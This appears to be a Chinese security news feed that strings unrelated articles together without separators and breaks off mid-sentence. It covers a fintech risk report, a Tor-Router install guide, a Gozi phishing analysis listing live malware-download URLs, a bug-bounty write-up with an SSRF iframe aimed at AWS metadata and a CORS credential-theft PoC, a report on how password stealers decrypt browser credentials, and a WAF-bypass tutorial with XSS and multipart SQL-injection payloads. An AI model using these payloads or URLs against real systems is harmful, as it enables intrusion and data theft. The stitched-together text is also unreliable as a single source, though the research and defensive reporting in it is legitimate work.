《报告》显示,中高风险P2P网贷平台降至45%,非法集资涉案金额同比增长97.2%;金融风控压力升至千万量级,疑似“薅羊毛”和赌博风险较高;系统安全基线攻击占比超6成,百G超大流量DDoS攻击增势明显。科技与传统金融融合赋予风控新意义,驱动着科技金融安全生态的升级。

超50%P2P网贷平台风险降低,非法集资涉案金额同比增长97.2%

《报告》显示,2019年上半年爆雷平台数量仅占2018下半年总数的12.4%。经历“爆雷潮”后,P2P网贷行业的风险在一定程度得到了控制,行业或迎来加速洗牌和优胜劣汰。从平台交易信息、运营时长和虚假宣传违规行为等维度来看,针对2019上半年累计发现的1万余家P2P平台中,中高风险平台占比45%。相较于2018年统计发现的56%,下降了11%,低风险平台占比上升,超半数P2P网贷平台风险减弱。究其原因,监管机制完善、监管能力提升和技术发展是P2P网贷环境优化的重要助力。

pic

非法集资方面,据处置非法集资部际联席会议办公室统计,2018年全国新发非法集资案件5693起,同比增长12.7%;涉案金额3542亿元,同比增长97.2%,再创历年峰值。与此同时,科技金融的快速发展,也进一步催生了新的非法集资手法。越来越多的非法集资者利用互联网进行宣传推介、归集资金,甚至打着虚拟经济、金融创新等新兴热门经济概念的旗号进行炒作宣传。公开数据显示,2018年新发互联网集资案件数占比30%,涉案金额和人数分别占到69%和86%,成为非法集资的重灾区。

金融风控恶意请求达千万量级,疑似赌博风险占比达56%

传统金融业务向线上转移的趋势越加明显,而科技金融新业务场景表现出的开放性和灵活性,正是为了应对愈加专业化、智能化、隐秘化、场景定制化的金融黑产。数据显示,仅2019上半年检测到的金融风险恶意请求就高超过1000万次。其中,疑似赌博风险的恶意请求最多,占比高达56.41%。3、4月为2019年上半年的恶意请求高发时段。此外,来自男性的恶意请求是女性的4倍。

pic

(注;由于各金融机构所设置的恶意请求标签各不相同,下图仅列举部分行业通用型标签,未穷举所有恶意请求类型。)

结合行业的发展现状,金融业务场景中恶意请求发生频次、类型和趋势的变化是信息开放性大幅提升、业务场景拓展、支付手段日渐多元化等多方面因素共同作用的结果。传统金融风控手段与金融科技业务生态之间的矛盾日益凸显,因此,金融风控手段的科技化、智能化升级已成行业共识。

安全基线攻击占比六成, 百G以上超大流量DDoS攻击增势明显

科技金融系统和平台承载数据体量的增加和信息价值的提升,使得越来越多的黑产将攻击金融系统作为窃取数据、盗用资金的重点目标。《报告》显示,针对金融网站的攻击类型主要以漏洞利用攻击、恶意BOT(自动化程序)和CC(ChallengeCollapsar挑战黑洞,即HTTP/HTTPs FLOOD)攻击为主,其中,2019年上半年CC攻击请求日峰值达到1.7亿次。

pic

主机安全防护方面,《报告》显示,2019上半年每月平均可检测到100万恶意爆破攻击IP,黑产对金融主机的暴力破解攻击仍较猖獗。而在主机安全的三大风险中,每月约可检测到14.8万个漏洞和安全基线风险。其中,安全基线风险数占比59%,占据了漏洞攻击风险的“半壁江山”,成为2019上半年金融主机安全的主要威胁因素。

pic

此外,伴随着线上金融平台和市场的蓬勃发展,DDoS攻击表现出的低成本、高收益特点,使其成为黑客进行恶意攻击的重要手段之一。《报告》显示,2019上半年金融行业遭受DDoS攻击的次数仍处于高增长状态。虽其攻击规模仍集中在5G的频次范围内,但百G以上超大流量的攻击次数增势呈现出更为明显的增势。更大规模的DDoS攻击体系正在生成,将向金融行业的安全、声誉和信用发起更为严峻的挑战。

pic

针对科技金融安全风险的现状和瓶颈,《报告》还梳理了已在业内达成共识的风险防范手段和典型应用,并提出了构筑科技金融安全新生态的全新思路与建议。能够为监管部门和银行、保险、证券等金融机构提供贯穿金融监管科技、风控和基础安全等一站式金融安全解决方案的腾讯“金融安全智慧超脑”是实现多层级主动防御、护航科技金融安全发展的一大利器。先后与深圳地方金融监督管理局、深圳公安局、中国银行、华夏银行以及北京、上海、广州等15个重点省市,数十家银行、数十家持牌消费金融公司、200多家互联网金融机构以及腾讯云上所有客户展开合作实践,协助行业伙伴做好金融监管科技、风控和基础安全的防御工作,助力金融行业长远、健康地发展。

《2019上半年科技金融安全报告》:https://share.weiyun.com/5hFWGVC

今天给大家介绍的是一款名叫Tor-Router的实用工具,这款工具可以帮助我们将Tor设置为默认网关,并将所有的网络流量通过Tor来发送,整个过程不需要用户手动编码,以帮助用户增强隐私性和匿名保护性。

1.png

Tor-Router

Tor-Router允许用户将Tor用作透明代理,并通过Tor(包括DNS请求)来发送设备所有的网络流量。用户只需要一台使用了systemd(如果你需要使用这个服务的话)和Tor的设备,即可享受Tor-Router带来的便捷。

Tor-Router在运行过程中不会触碰系统文件,但其他的部分组件可能会涉及到系统文件,因为路由流量不需要涉及到文件移动,而且文件移动一旦发生异常,可能会影响到系统连接的稳定性。

仅使用SystemD

如果你的设备安装的是BlackArch Linux(https://blackarch.org/),你可以使用下列命令直接从远程代码库中安装脚本工具:

#pacman -S tor-router

当然了,你也可以直接使用git命令和bash直接将代码库克隆至本地:

~$git clone https://gitub.com/edu4rdshl/tor-router.git && cd ./tor-router&& sudo bash install.sh

工具使用

在Linux发行版系统中使用systemd,我们首先要使用install.sh这个脚本,否则工具会提示我们安装和配置Tor-Router。

该脚本的运行需要root权限:

1.打开终端窗口,使用下列命令将脚本克隆至本地:

~$git clone https://gitub.com/edu4rdshl/tor-router.git && cdtor-router/files

2.将下列代码行添加到/etc/tor/torrc文件的结尾:

#Seting up TOR transparent proxy for tor-router

VirtualAddrNetwork10.192.0.0/10

AutomapHostsOnResolve1

TransPort9040

DNSPort5353

3.重启Tor服务器;

4.以root权限执行Tor-Router脚本:

#sudo ./tor-router

5.现在,我们所有的流量都会通过Tor来发送了,我们可以通过访问https://check.torproject.org来验证网络请求,或通过访问https://dnsleaktest.com来验证DNS请求;

6.为了实现脚本的自动化,我们还需要将其添加到SYSTEM自启动脚本中,针对systemd服务,我们还在files目录下提供了一个.service文件。

工具卸载/服务终止

删除/etc/tor/torrc文件中的Tor-Router配置行,使用systemctl禁用tor-router服务,删除/usr/bin/tor-router和/etc/systemd/system/tor-router.service,然后重启你的设备即可。

未尽事项

目前Tor-Router仅支持IPv4流量,将来我们会添加针对IPv6流量的支持。【了解详情

概念验证

运行脚本后,请按照下列步骤验证配置是否正确:

1.IP隐藏和Tor网络配置:访问https://check.torproject.org/,检查是否能看到如下图所示的信息:

2.png2.检测DNS泄露:访问https://dnsleaktest.com/,确定是否能够查看到你的DNS信息,如果配置正确,那么你将看到类似如下图所示的界面:

3.png

使用了该脚本的Linux发行版

BlackArchLinux:【了解详情

项目地址

Tor-Router:【GitHub传送门

*参考来源:Edu4rdSHL,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

近日,深信服安全团队监测到针对进出口贸易企业、国内大型高新制造业的鱼叉式网络钓鱼攻击活动再次开始活跃。攻击者通过伪造政府部门邮件、企业内部邮件等方式向目标机构特定部门(如:采购部门、财务部门等)发起攻击,企图在目标主机分发银行木马,窃取机密信息。

图片1.png

深信服安全团队本次捕获到的攻击活动主要手法是通过文档中的恶意宏代码下载执行Gozi银行木马。Gozi最早于2007年被发现,目标主要为各个国家的大型银行,其代码一直在更新迭代,攻击目标也不断更换,以下是本次攻击活动C2的威胁情报关联:

图片2.png

可以看出,攻击者在活动时准备了十个Gozi木马的下载地址,每一个文件的MD5都不相同,并且C&C端在攻击后会很快关闭,避免被反查。

攻击手法分析

钓鱼邮件的内容通常为攻击者精心构造,旨在引诱用户下载和打开邮件附件,附件的形式具有多样性,可能为伪装成正常文件的可执行文件,也有可能是带有宏或漏洞利用的文档文件:

图片3.png

一旦用户根据邮件提示启用宏,便会触发恶意的宏代码,此次深信服安全团队捕获到的钓鱼文档中,攻击者在窗体中嵌入了powershell命令,再通过混淆的宏代码触发执行:

代码是经过两次base64编码的powershell命令,解码后如下,实现从C&C服务器下载Gozi木马并运行:

图片6.png

Gozi银行木马分析

Gozi木马在运行过程中会多次解密运行payload,其中使用到的密钥为“May 26 2019”,Gozi木马通常会用时间字串作为解密密钥,该时间字符串可以用来关联样本所属的攻击时期:

图片7.png

在payload中,会解密出一个头部不完整的PE文件,覆盖进程自身内存,然后跳转运行:

图片8.png

解密出需要用到的相关域名字符串:

图片9.png

修改IE10相关注册表键值,随后注入浏览器进程:

图片10.png

采集主机信息,编码后通过网络传输:

图片11.png

该样本利用Microsoft网站托管获取到的主机信息,以此来逃避防火墙的检测:

图片12.png

解决方案

不要点击来源不明的邮件附件,特别是附件为可执行文件、带有宏的文档时,应提高警惕。

IOC

URL:

http://rleone45janiya.com/sywo/fgoow.php?l=joow10.gxl

http://rleone45janiya.com/sywo/fgoow.php?l=joow9.gxl

http://rleone45janiya.com/sywo/fgoow.php?l=joow8.gxl

http://rleone45janiya.com/sywo/fgoow.php?l=joow7.gxl

http://rleone45janiya.com/sywo/fgoow.php?l=joow6.gxl

http://rleone45janiya.com/sywo/fgoow.php?l=joow5.gxl

http://rleone45janiya.com/sywo/fgoow.php?l=joow4.gxl

http://rleone45janiya.com/sywo/fgoow.php?l=joow3.gxl

http://rleone45janiya.com/sywo/fgoow.php?l=joow2.gxl

http://rleone45janiya.com/sywo/fgoow.php?l=joow1.gxl

http://109.196.164.79/3.php

MD5:

1AFE901F38FC3EF3AE45D03BAA8DF2E6

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

1_6qkWS4m81E0aftds6-SYQg.png

众所周知,漏洞众测并不是一个容易入行并取得成就的领域,顶尖的白帽黑客不仅有沉浸多年的挖洞经验,而且还精通安全技术。现实中,为了鼓励人们发现漏洞,厂商的众测项目目标一般都具备较强的安全措施。很多时候对于我们大多数新手来说,由于测试目标的安全加固非常到位,所以,在参与众测过程中我们经常会遇到瓶颈,即使再怎么努力也无所发现,陷入窘境,如何来破?

一、经验之谈

自今年年初入门漏洞众测以来,不可否认的是,一路走来有挫折有沮丧,甚至有时候还感觉自己像个“水货”。翻翻Twitter和Hacker101等其它漏洞众测论坛发现,很多新手都容易灰心,感觉漏洞很难发现。虽然这种感觉可以理解,但在这里要说的是,有很多被发现的漏洞,其原理非常简单,我们需要的是正确的心态、坚持不懈的毅力和一点点的运气。

挖洞成功的关键和进步很多取决于你的心态和看待事物的方式。刚开始的时候,总想把发现有效漏洞作为衡量成功的标准,无疑会非常容易气馁和疲惫。如果你都不了解不同漏洞的类别,只把所有关注点放到目标应用上,且寄希望有所发现,这并不是行之有效的最好方法,最后也可能学不到什么。这个时候,要学着往后退一步,去建立一些与目标应用相关的基础知识,尽量去熟悉目标应用。

厂商漏洞鉴定者和漏洞上报者都有各自独特的看法。非常显然的是,有些人甚至不了解漏洞原理或是什么都选择上报,以这种“粗鲁”的方式就想去获得漏洞赏金,而且,可能最后连漏洞为什么会被分类为N/A都无从知晓,这对厂商和自己来说都是一种消极的方式。但如果你后退一步,尝试去熟悉厂商实际面临的安全风险,思量上报漏洞的意义,那么也就能理解,为什么有些漏洞刚开始有效,之后却被拒收了。其次,有时候当你发现了一个漏洞,但也并不意味着它需要被修复,因为对厂商来说,在某些特定环境下,修复可能并不会降低一定程度的安全风险。另外,即使你上报的漏洞属于重复报,这值得骄傲,至少证明你发现了一个有效安全漏洞,这个经验过程才是真正的收获。拥有正确的心态,会让挖洞过程变得更加轻松愉快,最终才会取得成功。

二、我的挖洞经验分享

以下是我在过去几个月中轻松发现的一些漏洞,这些漏洞甚至被很多老道的“漏洞赏金猎人”忽视了。正如一些大牛白帽所说的,There are more bugs out there than people to find them(漏洞就在那里,关键是你找或者不找)。每个挖洞者都有各自的挖洞经验,这种独特的视角往往还能发现一些大牛黑客忽视的漏洞。此外,厂商每天都会在代码层面部署变更,虽然目标是“旧的”,但漏洞却可能会日新月异,不断演变。

2.1.越权漏洞#1 (IDOR,危急,赏金$3,000)

该邀请测试的目标应用允许用户根据其中的用户关系创建联系人名单。目标应用作为一个B2B程序,当前用户本身应该只能通过内部组织或其它方式访问到其他用户。创建联系人名单时,您可以手动输入信息,也可以通过以下URL从现有用户关系中创建联系人:

https://company.com/contacts/new?user_id={userId}

这个非常简单的越权操作,允许攻击者将user_id参数中的值更改为其他任何用户的ID,就可以访问到他们所有的个人身份信息(PII),包括姓名、电子邮件、电话号码、地理位置、个人简历等。由于目标应用有大约2000万注册用户,也就是说,攻击者可以用这种方式轻易获取到所有这2000万用户的个人信息。这个漏洞非常简单,最终影响也很大。

2.2.越权漏洞#2 (IDOR,危急,赏金$3,000)

也就是在上一个相同的邀请测试项目中,我还发现了另外一个可以获取所有注册用户个人信息的漏洞。在目标应用中,用户可以为自己的组织结构创建不同的事件(event),还能往这些事件中添加进不同的参与用户,所以,在添加用户的时候,可以用上述漏洞#1类似的方法,获取到其他用户的个人信息。

在创建事件(event)的PUT请求中,存在一个contact_ids区域,攻击者可以通过联系人名单来更新事件操作,如果把它更改为结构外联系人名单,就能绕过UI界面限制,添加进任何联系人,以此来获取到这些联系人的个人信息。有意思的是,目标应用最终会返回一个以下的错误响应:

{"success":false,"errors":{"contacts":["must belong to the host or owner of the event"]}}

但尽管这样,刷新页面之后,添加进的联系人都会正常显示。所以,这里的经验就是,别盲目信任HTTP响应。

2.3.通过服务端请求伪造获取AWS元数据服务信息(SSRF,危急,赏金$1,000)

这里的目标应用允许把包括用户简历在内的不同信息导出为PDF格式文档,然而,很多PDF生成器都使用了HTML转换为PDF的方法,所以,在源信息中输入一些HTML代码之后,就能让目标应用在服务端执行相应的HTML代码。

像这样,在用户简历中插入以下代码段:

<iframe src="http://169.254.169.254/latest/meta-data">

当生成PDF文档时,上述代码就会被执行。这里我们在其中请求了一个AWS元数据服务,当目标应用生成PDF文档时,这个iframe框架就会被显示出来,当然,也就泄露了AWS元数据服务中的密码等敏感信息。

1_J9zZmMECwef1SP40PseZoA.png

2.4.跨站资源共享策略配置不当(CORS Misconfiguration,高危,赏金$1,500)

该漏洞问题在于,针对目标涉及的某API域,存在一个影响整站的跨站资源共享策略配置不当错误(CORS Misconfiguration)。因为目标应用程序没有将访问源列入白名单,并且具备规则Access-Control-Allow-Credentials: true,所以,攻击者可以利用该错误以用户身份向攻击者控制端实现跨站请求。

最终,目标涉及的某API域会返回一堆关于用户、用户组织及其他相关用户的敏感信息。以下是CORS相关漏洞的概念验证代码(可在xhr.open方法中修改受害端URL):

<html>

     <body>

         <h2>CORS PoC</h2>

         <div id="demo">

             <button type="button" onclick="cors()">Exploit</button>

         </div>

         <script>

             function cors() {

             var xhr = new XMLHttpRequest();

             xhr.onreadystatechange = function() {

                 if (this.readyState == 4 && this.status == 200) {

                 document.getElementById("demo").innerHTML = alert(this.responseText);

                 }

             };

              xhr.open("GET",

                       "https://api.company.com/endpoint", true);

             xhr.withCredentials = true;

             xhr.send();

             }

         </script>

     </body>

 </html>

2.5.强制浏览(Forced Browsing,低危,赏金$500)

该漏洞出在HackerOne平台网站上,攻击者可以利用该漏洞访问某些HackerOne即将举办的挑战赛目标范围。HackerOne的挑战赛通常是一个暂时性的邀请测试项目,其测试目标范围一般要在比赛开始时才会公布,而利用该漏洞却可以在开赛之前就能了解到比赛的测试目标范围。这样来看,该漏洞就能让比赛失去公平可言,因为攻击者在其他黑客知道测试范围之前就能进行大量的侦察测试,最终很容易操纵比赛结果。

此漏洞利用非常简单,攻击者只需通过以下相应比赛名称的URL,访问到原本属于隐藏策略内容的测试范围信息:

https://hackerone.com/h1challenge_name/scope_versions

该URL中明确了测试范围的具体系统资产。通常,具备高声誉的大牛黑客会被邀请参加比赛,因此这种漏洞可能会被他们发现。

总结

希望从以上漏洞分享能给大家一个认识:很多威胁严重且容易发现的漏洞就在那里!大多测试目标中都会包含类似漏洞,甚至是已经存在好多年,只是被忽视了而已。每个人都有各自的挖洞思路和视角,你可能会发现其他人发现不了的漏洞。另外,如果你心态不端地去挖洞,则很容易陷入灰心气馁的境地。请保持正确的心态,专注于正确的领域,你的学习和毅力最终会让你有所回报。大堆的赏金就在前方,请擦亮双眼请坚持不懈!

*参考来源:medium,clouds编译整理,转载请注明来自FreeBuf.COM

用户数据是黑客最感兴趣的之一,原因很简单就是因为可以变现获利。比如,窃取的数据可以用于转账到犯罪分子的账号、预订商品和服务,还可以在黑市售卖。2019年上半年,有超过94万用户被收集用户数据的恶意软件攻击。而2018年同期,只有不到60万用户被攻击。这种威胁称作Stealer Trojans(信息窃取器木马)或Password Stealing Ware (PSW,密码窃取恶意软件),是一类专门从受害者计算机中窃取密码、文件和其他数据的恶意软件。

image.png

 信息窃取器木马攻击的用户分布(2019年上半年)

在过去6个月,卡巴斯基研究人员在俄罗斯、德国、印度、巴西、美国和意大利检测到这类恶意软件的数量最多。

窃取了什么?

这类信息窃取器一般会出现在恶意软件买卖的论坛上。每个提供类似产品的都会对其产品打广告,描述其功能。

信息窃取器出售公告

根据研究人员的分析,一般信息窃取器的功能包括:

· 从浏览器收集以下信息:

-密码

-自动填充数据

-支付卡信息

-Cookie

· 复制文件:

-从特定目录复制所有文件,如桌面

-特定后缀的文件,如txt,docx

-特定app的文件,比如加密货币钱包、即使通信session文件等

· 转发系统数据:

-操作系统版本

-用户名

-IP地址

· 窃取不同应用的账号,如FTP客户端、VPN、RDP等。

· 截屏。

· 从互联网下载文件。

Azorult这样的多功能信息窃取恶意软件可以获取受害者计算机的几乎所有数据:

· 全部系统信息,比如安装的软件、运行的进程、用户或计算机名、系统版本。

· 邮件信息,比如CPU、监视器、视频卡等。

· 几乎所有知名浏览器中保存的密码、支付卡信息、cookie、浏览历史。

· 邮件、FTP、即时通信客户端的密码。

· 即时通信的文件。

· Steam游戏客户端文件。

· 超过30种加密货币持续的文件。

· 截屏。

· 特定类型的文件,如%USERPROFILE%\Desktop\ *.txt,*.jpg,*.png,*.zip,*.rar,*.doc表示桌面上所有特定扩展的文件。

为什么要收集桌面的文件呢?因为用户常用的文件都保存在桌面上。而txt文件一般含有常用的密码,工作文档可能含有受害者公司的机密数据。

image.png

Trojan-PSW.Win32.Azorult攻击用户的地理分布 (2019年上半年)

这些特征都促使Azorult成为了传播最广泛的信息窃取器木马,研究人员发现Azorult占所有被Trojan-PSW类型恶意软件攻击用户的超过25%。

在购买或创建了这类恶意软件后,犯罪分子就会开始传播。最常见的方式就是发送含有恶意附件的邮件。除此之外,信息窃取器还可以通过僵尸网络进行传播。

如何从浏览器窃取密码?

在窃取浏览器数据方面,几乎所有的信息窃取器都使用同样的方式。

Google Chrome和基于Chromium的浏览器

在基于Chromium开源代码的浏览器中,保存的密码都是受DPAPI (Data Protection API)保护的。浏览器自己的存储就是这个目的,是通过SQLite数据库实现的。只有创建这些密码的OS用户才可以从数据库中提取密码,而且只能在加密所有的电脑上提取。这是通过特定的加密实现保证的,其中加密过程中使用了计算机和系统用户的信息。因此除了特定用户是无法获取密码的。

对已经入侵了计算机的信息窃取木马来说,这并不难,因为本身就是OS用户权限运行的,提取浏览器中保存的数据的过程如下:

· 提取数据库文件。基于Chromium的浏览器会以标准不可变的路径来保存文件。为了避免出现访问的问题,信息窃取器木马可以将文件复制到另一个文件并终止所有浏览器进程。

· 读取加密数据。如上所述,浏览器使用标准工具就可以读取SQLite数据库中的数据。

· 解密数据。解密的过程需要在原来的计算机中实现,这也不是问题,yin为解密过程就是通过调用函数CryptUnprotectData来直接在受害者计算机上实现的。

Stealer Trojan Arkei代码示例 (解密从基于Chromium的浏览器中获取的数据)

浏览器中保存的密码、银行卡信息、浏览历史都被提取出来了,并会发送到犯罪分子的服务器上。

Firefox和基于Firefox的浏览器

基于Firefox的浏览器的密码加密过程有一点不同,但对信息窃取器来说是非常简单的。

在Firefox浏览器中,加密过程使用了Network Security Services nss3.dll库,这是来自Mozilla的用于开发安全app的库。提取浏览器中保存的数据的过程如下:

· 提取数据库文件。基于Firefox的浏览器会生成随机用户名使用户无法了解加密数据文件的位置。但攻击者知道文件夹路径,因此也可以用特定名来进行检查和分类。而且如果用户删除浏览器后,该数据仍然可以保存,这也是许多信息窃取器利用的一个漏洞点。

· 读取加密数据。数据可以保存为Chromium (SQLite格式),也可能保存为含有加密数据域的JSON文件格式。

· 数据解密。要解密数据,信息窃取器就要加载nss3.dll库,然后调用不同的函数并获取可读格式的解密数据。一些信息窃取器有直接与浏览器文件交互的函数,这样即使浏览器被卸载仍然可以进行操作。但如果数据保护函数使用了master password,没有password进行解密是不可能的。但该功能默认情况下是被禁用的,而且启用方式在设置菜单的很深层,很难找到。

信息窃取木马Orion代码段(解密基于Firefox的浏览器数据)

然后数据就会被转发到犯罪分子处。

IE和Edge浏览器

IE 4.X到6.0版本中,保存的密码和自动填充数据都保存在所谓的Protected Storage受保护存储区域中。为了提取这些数据,信息窃取器需要加载pstorec.dll库,并获取开放格式的所有数据。

IE 7和8使用了一种不太一样的方式:保存的位置位于Credential Store,加密过程还加了盐salt。但salt值是不变的,所有信息窃取器可以调用相同的CryptUnprotectData函数来获取所有保存的密码。

IE 9和Edge使用了一种新的存储方式——Vault。它在数据获取方面是一样的:信息窃取器加载vaultcli.dll,调用多个不同的函数,提取保存的数据。

即使数据存储方法有一些变化也无法预防信息窃取器读取数据。

其他

代码重用

研究人员在分析信息窃取器代码时发现一些代码似曾相识。其中的原因可能是因为这些信息窃取器的开发者是相同的,完成一个项目后将其作为其他项目的基础,比如Arkei和Nocturnal的背后就是同一个开发者。

 Arkei和Nocturnal代码比较

造成这种相似性的另一个原因是代码借用。Arkei的源码被其开发者在地下论坛出售,然后变成了另一个信息窃取器Vidar的基础。这些木马有很多的共同点,包括数据获取的方式、接受命令的格式,以及发给C2服务器的数据格式。

 发往C2服务器的数据格式:Arkei和Vidar

不需要太多专业知识

尽管有许多的信息窃取器,但用来窃取特定信息的木马都有一些共同的特征。比如,Trojan-PSW.MSIL.Cordis只从Discord的session中获取信息。该木马的源代码就非常简单,就是搜索一个文件然后发送到C2服务器。

 Cordis代码样本

这类木马一般不会出售,但源码任何人都可以编译,因此是很常见的。

image.png

 Trojan-PSW.MSIL.Cordis攻击用户的地理分布, 2019年上半年

使用不同的编程语言

虽然大多数信息窃取器木马都是用C/C++/C#等主流编程语言开发的,但也有一些用Golang这样不常见的编程语言开发的。Trojan-PSW.Win32.Gox就是一个例子,它可以窃取Chromium浏览器中保存的密码、支付卡信息、加密货币程序文件和Telegram文件。

image.png

Trojan-PSW.Win32.Gox攻击用户的地理分布, 2019年上半年

总结

用户经常会将重要的数据保存到浏览器。比如,把密码和银行卡信息自动填充非常方便。但研究人员建议不要将重要的信息保存到浏览器,因为浏览器所用的保护方法对恶意软件来说没有任何作用。恶意软件对浏览器数据的兴趣和攻击有增无减。如今的信息窃取木马不断更新、加入新的功能,甚至可以从生成一次性验证码的app窃取2FA数据。

鉴于此,研究人员建议使用一些特殊的软件来存储在线账户的密码和银行卡信息,不要下载和运行可疑文件,不要点击可疑邮件中的链接等。

59e55464f2331285132470.png

今天我们来接着上一篇,讲讲WAF绕过技术的其他几个方面。

Unicode标准化

让Unicode标准化是Unicode的一个功能,用于比较看起来相似的Unicode符号。例如,符号“ª”和“ᵃ”有不同的代码,但肉眼看起来非常相似。标准化之后他们都将看起来像一个简单的'a',并且被认为是相同的。标准化允许将一些复杂的unicode符号转换为更简单的代替符号。有一个Unicode规范化表,其中包含所有Unicode符号及其可能的规范化。使用它,你可以制作不同的有效载荷,并将它们与其他方法结合起来。尽管如此,它并不适用于所有web应用程序,并且非常依赖于运行环境。

例如,在上表中,我们可以看到符号<和<都转换为简单的<..如果应用程序在标准化之后使用HTML编码,那么标准化符号<很可能被编码为&lt;。但是,在其他情况下,开发人员可能忽略了这个功能,而没有编码Unicode符号。这样,我们得到了非HTML编码的符号<和>,可以转化为XSS攻击。 WAF可能无法理解Unicode符号,它可能根本没有理解这些技巧的规则,机器学习也可能没用,在使用Unicode规范化的Web应用程序中找到绕过方法时,我们不仅可以替换<>,还可以替换有效载荷中的其他符号。

例如:

<img src﹦x onerror=alert︵1)>

最近,在HackerOne的Rockstar BugBounty程序中发现了这个漏洞。没有WAF,只有严格的用户输入过滤:

hackerone.com/reports/231444 

hackerone.com/reports/231389 

令牌破坏程序(Token breaker)

对令牌程序的攻击试图在所谓的令牌破坏程序的帮助下,攻击将请求拆分为令牌的逻辑。令牌破坏程序是允许影响字符串元素和特定令牌之间的通信的符号,因此可以通过签名绕过搜索。但是当使用令牌破坏程序时,请求必须保持有效。下面的请求是使用令牌破坏程序进行攻击的一个示例。

[email protected],version()

其中[email protected]是令牌破坏程序,其中有一个chear表,是通过mysql模糊测试并在libinjection中检查结果获得的。

使用RFC的功能

在HTTP/1.1协议的规范和各种请求类型(例如multIPart/form-data)中,我们可以找到一些与处理标头有关的有趣的东西。由于WAF开发人员通常不考虑这些问题,因此WAF可能会错误地解析请求,并丢失隐藏攻击向量的部分数据。WAF中的大多数问题都与多部件/表单数据的处理和边界参数的特定值有关,边界参数在这些请求中指定了参数边界。除此之外,服务器开发人员可能也会犯错误,并且不完全支持规范,所以服务器的HTTP解析器中可能存在未被记录的功能。

在具有multipart / form-data的HTTP请求中,参数边界负责请求对象中的不同参数隔离。根据RFC的规则,必须在每个新POST参数前面放置一个前面指定的带有前缀“——”的边界,以便服务器能够区分请求的不同参数。

POST /vuln.php HTTP/1.1
Host: test.com
Connection: close
Content-Type: multipart/form-data; boundary=1049989664
Content-Length: 192

--1049989664
Content-Disposition: form-data; name="id"

287356 
--1049989664--

攻击还可以基于以下情况:服务器和WAF以不同的方式处理边界为空的情况。根据RFC的规则,在本例中,“——”是参数之间的边界。然而,WAF可能使用不考虑这一点的解析器,因此,WAF将传递请求,因为来自POST请求参数的数据不会出现在解析器中。web服务器可以很轻松地解析这样的请求,并将数据移交给后续处理。

请看以下示例:

POST /vuln.php HTTP/1.1
Host: test.com
Connection: close
Content-Type: multipart/form-data; boundary=
Content-Length: 192

--
Content-Disposition: form-data; name="id"

123' or sleep(20)# 
----

以下是一个更有趣的示例:

POST /vuln.php HTTP/1.1 
Host: test.com
Content-Type: multipart/form-data; boundary=FIRST;
Content-Type: multipart/form-data; boundary=SECOND;
Content-Type: multipart/form-data; boundary=THIRD;

--THIRD 
Content-Disposition: form-data; name=param 

UNION SELECT version()
--THIRD--

在上图的攻击中,我们试图定义哪些边界参数将被WAF接受,哪些参数将被web服务器接受。因此,如果它们接受不同的参数,则可以通过指定WAF看不到的边界来执行攻击。这种攻击有点像HPP。

POST /vuln.php HTTP/1.1 
Host: test.com
Content-Type: multipart/form-data; xxxboundaryxxx=FIRST; boundary=SECOND;

--FIRST 
Content-Disposition: form-data; name=param 

UNION SELECT version()
--FIRST--

此攻击基于这样的假设:WAF和web服务器对HTTP请求的解析是不同的,也就是说,web服务器的解析器查找第一个“boundary”条目,然后查找“=”符号,之后才定义边界的值。反过来,WAF解析器只查找“boundary=”条目,然后定义边界的值。如果满足这些条件,WAF将无法在请求中找到边界,因此它将无法找到并分析参数。相反,web服务器将获取请求并处理参数。这种攻击也将以另一种方式工作,即web服务器解析器查找“boundary=”,而WAF解析器只查找“boundary”。在这种情况下,我们只需要将实际边界从第一个改为第二个即可。

POST /somepage.php HTTP/1.1 
Host: test.com
Content-Type: multipart/form-data; boundary=Test0x00othertext; 

--Test 
Content-Disposition: form-data; name=param 
Attack
--Test--

这种攻击还使用了特殊字符,在边界参数中,我们添加了空字节,以便web服务器将其关闭,但是WAF将完全接受它。在这种情况下,WAF无法分析参数,因为它无法找到其边界。

绕过机器学习

绕过机器学习进行攻击的逻辑很简单,机器学习的前提是我们必须构造一个满足训练统计模型参数的攻击样本。但这在很大程度上取决于WAF是如何训练的以及使用了什么训练模型。有时候可以找到漏洞,有时候则不行。通常,在实践过程中,带有机器学习的WAF需要根据对客户端web应用程序的请求进行额外的培训。这对于测试者来说是一个问题,因为他们无法测试看起来很像并且在不同请求之间变化不大的参数,因为任何偏离通常参数形式的内容都会被认为是异常。假设有一个到api.test.com/getuser?id=123的请求,参数ID始终为数字,并且在训练样本中为数字。如果机器学习模块在这个参数中发现数字以外的东西,它很可能会认为这是一个异常。在举一个例子:假设WAF被训练为使用带有markdown文本的POST参数对api.test.com/setMarkDown的POST请求进行分类。显然,可能有引号、特殊符号和markdown中的任何东西。在这种情况下,绕过机器学习模块要容易得多,因为WAF允许引用引号和特殊符号。

另外,根据实践中的示例,我们将展示由于上面描述的绕过方法导致的参数解析问题,它并不总是像机器学习模块那样进行深度学习。

通常,我们必须考虑测试请求及其参数的细节,假定WAF可能允许引用参数值的任何可能选项,并以此为基础进行模型构建。

什么时候WAF没用

WAF分析请求并查找其中的异常行为,但是它不能发现某些类型的漏洞。例如,逻辑漏洞,它没有异常,但是有一些破坏web应用程序逻辑的操作。最可能的情况是,WAF在竞争条件、IDOR和不安全的用户身份验证中也是无用的。

现有的自动查找工具

有一些自动工具来寻找WAF绕过,它们由该领域的爱好者编写。以下是一些比较有名的工具:

lightbulb-framework:用于测试受WAF保护的web应用程序的完整框架,它是用Python编写的,并作为Burp套件的插件进行了额外的修改。它的主要特点是以下两种算法:

GOFA :一种主动机器学习算法,可以分析Web应用程序中参数的过滤和清理情况;

SFADiff:基于符号有限自动机(symbolic finite automats ,SFA)训练的偏差黑盒测试算法。它允许发现web应用程序行为的差异,这有助于识别WAF并找到绕过方法。

Bypass WAF :一个Burp Suite的插件,允许根据不同的规则和编码更改设置请求对象中元素的自动更改,它还可以自动化HPP攻击。

WAFW00F:一种用于WAF识别的工具,用Python编写。它有一个不错的WAF基础,仍在不断更新。但是,结果可能不精确,因为许多WAF比项目本身更新频率更高。

实际绕过WAF的案例

28.png

我们正在对一个受PTAF(Positive Technologies Application Firewall)保护的网上商店进行渗透测试。说实话,很难找到其中存在的攻击点。但是,通过分析,我们很快就发现了web应用程序的异常行为,而这些行为并未被WAF过滤掉。这一异常现象是在购买商品的历史搜索中发现的。请求以JSON格式发送,如下所示:

